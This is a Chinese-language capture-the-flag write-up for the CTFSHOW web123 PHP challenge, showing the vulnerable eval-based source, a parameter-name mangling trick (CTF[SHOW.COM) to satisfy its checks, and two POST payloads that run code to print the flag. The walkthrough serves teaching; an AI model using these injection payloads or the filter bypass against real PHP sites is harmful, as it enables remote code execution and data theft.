CTFSHOW WEB123
源码
error_reporting(0);highlight_file(__FILE__);include(\"flag.php\");$a=$_SERVER[\'argv\'];$c=$_POST[\'fun\'];if(isset($_POST[\'CTF_SHOW\'])&&isset($_POST[\'CTF_SHOW.COM\'])&&!isset($_GET[\'fl0g\'])){ if(!preg_match(\"/\\\\\\\\|\\/|\\~|\\`|\\!|\\@|\\#|\\%|\\^|\\*|\\-|\\+|\\=|\\{|\\}|\\\"|\\\'|\\,|\\.|\\;|\\?/\", $c)&&$c
这题看了一下,主要就三个点,首先要POST传CTF_SHOW和CTF_SHOW.COM,同时一定要注意,在php8之前,变量名里面的非法字符要替换成下划线,比如空格和 . 同时如果一个变量名里面出现了多个非法字符 php只会将第一个转换为下划线,所以为了让第二个变量名CTF_SHOW.COM正常显示可以将其改为CTF[SHOW.COM(中括号也会转换),转换过滤就是正常的变量名
同时,这一题有多种解法
法一:
CTF_SHOW=&CTF[SHOW.COM=&fun=echo $flag
在经过字符匹配过滤之后就会eval执行echo $flag 这个指令,大师傅在课程里面忽略了,都可以echo 1 有回显,为什么不直接echo $flag 呢
法二:
CTF_SHOW=1&CTF[SHOW.COM=2&fun=echo implode(get_defined_vars())
先解释一下这两个函数
implode() : 就是把数组元素**“拼”成一个字符串**
可指定分隔符
$arr = [\'apple\', \'banana\', \'cherry\'];echo implode(\',\', $arr); // 输出:apple,banana,cherry
也可以不带分隔符
$arr = [\'a\', \'b\', \'c\'];echo implode($arr); // 输出:abc
get_defined_vars():返回当前作用域中所有已定义的变量
输出
Array( [a] => 1 [b] => hello [_GET] => Array ( [test] => 123 ) [_POST] => Array ( ) [_SERVER] => Array ( ... ) ...)
用这个方法确实可以拿到flag的值
但是我马上又有了一个新的疑问,为什么会出现这样的结果,为什么只有$flag里面的值出来了,但是其他的数组只显示Array
后来查了手册发现
get_defined_vars() 返回的是一个二维数组(里面既有字符串/数字,也有数组、对象)。implode()
只能把一维数组拼成字符串;一旦遇到数组元素本身还是数组,PHP 会把它强制转换成字符串 \"Array\"
,然后继续拼接。
举个例子
$flag = \'ctfshow{412ba911-5504-457c-b9ba-8e4d2978fe70}\';$a = []; // $_SERVER[\'argv\']$c = \'echo implode(get_defined_vars())\';$_POST = [ \'CTF_SHOW\' => \'1\', \'CTF[SHOW.COM\' => \'2\', \'fun\' => \'echo implode(get_defined_vars())\'];// 还有 $_GET、$_SERVER、$_COOKIE … 都是数组
在执行echo implode(get_defined_vars());之后
implode()
按默认空字符串 \"\"
去拼:
$flag
直接拼成ctfshow{...}
-
$a
变成\"Array\"
-
$c
直接拼成echoimplode(get_defined_vars())
-
$_POST
又变成\"Array\"
-
于是浏览器最终看到的是:ctfshow{412ba911-5504-457c-b9ba-8e4d2978fe70}ArrayArrayArrayechoimplode(get_defined_vars())ArrayArray...
当然,另一个问题:
为什么「看起来只有 flag 出来」?
-
$flag
是唯一纯字符串变量,直接原样输出; -
其他元素都是
\"Array\"
或者长字符串,连在一起后:-
浏览器只会把第一行/可见部分显示在前面;
-
后面的
\"Array\"
被折叠或忽略,肉眼只看到 flag。
-